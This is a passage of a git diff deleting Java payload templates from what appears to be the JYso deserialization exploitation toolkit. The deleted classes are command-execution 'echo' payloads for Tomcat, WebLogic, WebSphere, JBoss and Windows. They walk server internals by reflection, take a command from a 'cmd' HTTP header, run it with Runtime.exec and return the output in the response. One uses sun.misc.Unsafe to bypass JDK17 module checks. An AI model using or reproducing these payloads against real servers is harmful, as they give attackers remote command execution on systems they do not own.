java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[]) f.get(group);
for (int i = 0; i < threads.length; i++) {
try {
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
Object obj = f.get(t);
if (!(obj instanceof Runnable)) continue;
f = obj.getClass().getDeclaredField("this$0");
f.setAccessible(true);
obj = f.get(obj);
try {
f = obj.getClass().getDeclaredField("handler");
} catch (NoSuchFieldException e) {
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
f.setAccessible(true);
obj = f.get(obj);
try {
f = obj.getClass().getSuperclass().getDeclaredField("global");
} catch (NoSuchFieldException e) {
f = obj.getClass().getDeclaredField("global");
}
f.setAccessible(true);
obj = f.get(obj);
f = obj.getClass().getDeclaredField("processors");
f.setAccessible(true);
java.util.List processors = (java.util.List) (f.get(obj));
for (int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
f = processor.getClass().getDeclaredField("req");
f.setAccessible(true);
Object req = f.get(processor);
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req);
str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER});
if (str != null && !str.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200));
java.io.ByteArrayOutputStream baos = q(str);
try {
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader);
obj = cls.newInstance();
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length);
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj);
} catch (NoSuchMethodException var5) {
Class cls = Class.forName("java.nio.ByteBuffer", false, loader);
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{baos.toByteArray()});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj);
}
flag = true;
}
if (flag) break;
}
if (flag) break;
} catch (Exception ignored) {
}
}
} catch (Exception ignored) {
}
}
public static java.io.ByteArrayOutputStream q(String cmd) {
return null;
}
}
@@ -1,59 +0,0 @@
package com.qi4l.JYso.template.echoConstructor;
public class CWindowsEcho {
public CWindowsEcho() {
try {
if (java.io.File.separator.equals("\\")) {
java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd");
field.setAccessible(true);
Class clazz1 = Class.forName("sun.nio.ch.Net");
java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress", new Class[]{java.io.FileDescriptor.class});
method1.setAccessible(true);
Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null);
java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Class clazz3 = Class.forName("java.net.PlainSocketImpl");
java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});
constructor3.setAccessible(true);
java.lang.reflect.Method write = clazz2.getDeclaredMethod("write", new Class[]{byte[].class});
write.setAccessible(true);
java.net.InetSocketAddress remoteAddress = null;
java.util.List list = new java.util.ArrayList();
java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor();
for (int i = 0; i < 50000; i++) {
field.set((Object) fileDescriptor, (Object) (new Integer(i)));
try {
remoteAddress = (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor});
if (remoteAddress.toString().startsWith("/127.0.0.1")) continue;
if (remoteAddress.toString().startsWith("/0:0:0:0:0:0:0:1")) continue;
list.add(new Integer(i));
} catch (Exception e) {
}
}
for (int i = list.size() - 1; i >= 0; i--) {
try {
field.set((Object) fileDescriptor, list.get(i));
Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})});
String[] cmd = new String[]{"cmd", "/C", "whoami"};
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim();
String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n";
write.invoke(socketOutputStream, new Object[]{result.getBytes()});
break;
} catch (Exception e) {
//pass
}
}
}
} catch (Exception ignored) {
}
}
}
@@ -1,39 +0,0 @@
package com.qi4l.JYso.template.echoConstructor;
public class CweblogicEcho {
public static String CMD_HEADER;
public CweblogicEcho() {
try {
weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork();
if (adapter.getClass().getName().endsWith("ServletRequestImpl")) {
String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, CMD_HEADER);
if (cmd != null && !cmd.isEmpty()) {
String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}
} else {
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
obj = obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd");
if (cmd != null && !cmd.isEmpty()) {
String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}
}
} catch (Exception ignored) {
}
}
}
@@ -1,44 +0,0 @@
package com.qi4l.JYso.template.echoConstructor;
import java.io.OutputStream;
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
public class CwebsphereEcho {
public CwebsphereEcho() {
try {
Class clazz = Thread.currentThread().getClass();
java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
Object[] obj_arr = (Object[]) obj;
for (int i = 0; i < obj_arr.length; i++) {
Object o = obj_arr[i];
if (o == null) continue;
if (o.getClass().getName().endsWith("WebContainerRequestState")) {
Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]);
Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]);
String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
if (cmd != null && !cmd.isEmpty()) {
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
//java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]);
//printWriter.println(res);
// 解决只读一次的问题
OutputStream outputStream = (OutputStream) getFieldValue(resp, "_bufferedOut");
outputStream.flush();
outputStream.write(res.getBytes());
}
break;
}
}
} catch (Exception ignored) {
}
}
}
@@ -1,107 +0,0 @@
package com.qi4l.JYso.template.echoJDK17;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
// 回显类在jdk17下的改造,解决JDK17下只能加载一次的问题
public class CTomcatEcho17 {
public static String CMD_HEADER;
public CTomcatEcho17() {
Object originalModule = patchModule(this.getClass(), null);
try {
boolean flag = false;
ThreadGroup group = Thread.currentThread().getThreadGroup();
ClassLoader loader = Thread.currentThread().getContextClassLoader();
Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[]) f.get(group);
for (int i = 0; i < threads.length; i++) {
try {
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
Object obj = f.get(t);
if (!(obj instanceof Runnable)) continue;
f = obj.getClass().getDeclaredField("this$0");
f.setAccessible(true);
obj = f.get(obj);
try {
f = obj.getClass().getDeclaredField("handler");
} catch (NoSuchFieldException e) {
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
f.setAccessible(true);
obj = f.get(obj);
try {
f = obj.getClass().getSuperclass().getDeclaredField("global");
} catch (NoSuchFieldException e) {
f = obj.getClass().getDeclaredField("global");
}
f.setAccessible(true);
obj = f.get(obj);
f = obj.getClass().getDeclaredField("processors");
f.setAccessible(true);
java.util.List processors = (java.util.List) (f.get(obj));
for (int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
f = processor.getClass().getDeclaredField("req");
f.setAccessible(true);
Object req = f.get(processor);
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req);
str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER});
if (str != null && !str.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200));
java.io.ByteArrayOutputStream baos = q(str);
try {
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader);
obj = cls.newInstance();
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length);
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj);
} catch (NoSuchMethodException var5) {
Class cls = Class.forName("java.nio.ByteBuffer", false, loader);
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{baos.toByteArray()});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj);
}
flag = true;
}
if (flag) break;
}
if (flag) break;
} catch (Exception ignored) {
}
}
} catch (Exception ignored) {
} finally {
patchModule(this.getClass(), originalModule);
}
}
public static java.io.ByteArrayOutputStream q(String cmd) {
return null;
}
private Object patchModule(Class clazz, Object originalModule) {
try {
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
if (originalModule == null) {
originalModule = Class.class.getMethod("getModule").invoke(Object.class);
}
Class currentClass = clazz;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
return unsafe.getAndSetObject(currentClass, addr, originalModule);
} catch (Exception e) {
}
return null;
}
}
@@ -1,88 +0,0 @@
package com.qi4l.JYso.template.echoStatic;
public class AllEcho {
public static String CMD_HEADER = "cmd";
public static java.util.HashSet<Object> h = new java.util.HashSet<Object>();
public static javax.servlet.http.HttpServletRequest r = null;
public static javax.servlet.http.HttpServletResponse p = null;
static {
F(Thread.currentThread(), 0);
}
private static boolean i(Object obj) {
if (obj == null || h.contains(obj)) {
return true;
}
h.add(obj);
return false;
}
private static void F(Object start, int depth) {
Class<?> n = start.getClass();
do {
java.lang.reflect.Field f = null;
int l = n.getDeclaredFields().length;
for (int i = 0; i < l; i++) {
f = n.getDeclaredFields()[i];
f.setAccessible(true);
Object o = null;
try {
o = f.get(start);
if (!o.getClass().isArray()) {
p(o, depth);
} else {
Object q = null;
Object[] objs = (Object[]) o;
int len = java.lang.reflect.Array.getLength(o);
for (int j = 0; j < len; j++) {
q = objs[j];
p(q, depth);
}
}
} catch (Exception ignored) {
}
}
} while ((n = n.getSuperclass()) != null);
}
private static void p(Object o, int depth) {
if (depth > 52 || (r != null && p != null)) {
return;
}
if (!i(o)) {
if (r == null && javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())) {
r = (javax.servlet.http.HttpServletRequest) o;
if (r.getHeader(CMD_HEADER) == null) {
r = null;
} else {
try {
p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse", new Class[]{}).invoke(r, new Object[]{});
} catch (Exception e) {
r = null;
}
}
}
if (r != null && p != null) {
try {
try {
p.getWriter().println(q(r.getHeader(CMD_HEADER)));
} catch (Exception ignored) {
}
p.getWriter().flush();
p.getWriter().close();
} catch (Exception ignored) {
}
return;
}
F(o, depth + 1);
}
}
public static java.io.ByteArrayOutputStream q(String cmd) {
return null;
}
}
@@ -1,69 +0,0 @@
package com.qi4l.JYso.template.echoStatic;
public class JbossEcho {
public static String CMD_HEADER = "cmd";
static {
try {
Object req = javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest");
String cmd = getMethodAndInvoke(req, "getHeader", new Class[]{String.class}, new Object[]{CMD_HEADER}).toString();
if (cmd != null && !cmd.isEmpty()) {
java.io.ByteArrayOutputStream baos = q(cmd);
try {
// 高版本底层是 undertow
Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl");
Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{});
java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{});
os.write(baos.toByteArray());
os.close();
} catch (ClassNotFoundException ignored) {
Object response = getMethodAndInvoke(req, "getResponse", new Class[]{}, new Object[]{});
if (response == null) {
java.lang.reflect.Field field = req.getClass().getDeclaredField("request");
field.setAccessible(true);
response = getMethodAndInvoke(field.get(req), "getResponse", new Class[]{}, new Object[]{});
}
Object writer = getMethodAndInvoke(response, "getWriter", new Class[]{}, new Object[]{});
getMethodAndInvoke(writer, "write", new Class[]{String.class}, new Object[]{baos.toString()});
getMethodAndInvoke(writer, "flush", new Class[]{}, new Object[]{});
getMethodAndInvoke(writer, "close", new Class[]{}, new Object[]{});
}
}
} catch (Exception ignored) {
}
}
public static java.io.ByteArrayOutputStream q(String cmd) {
return null;
}
public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) {
java.lang.reflect.Method method = null;
while (cs != null) {
try {
method = cs.getDeclaredMethod(methodName, parameters);
method.setAccessible(true);
cs = null;
} catch (Exception e) {
cs = cs.getSuperclass();
}
}
return method;
}
public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) {
try {
java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass);
if (method != null)
return method.invoke(obj, parameters);
} catch (Exception ignored) {
}
return null;
}
}

Some files were not shown because too many files have changed in this diff Show More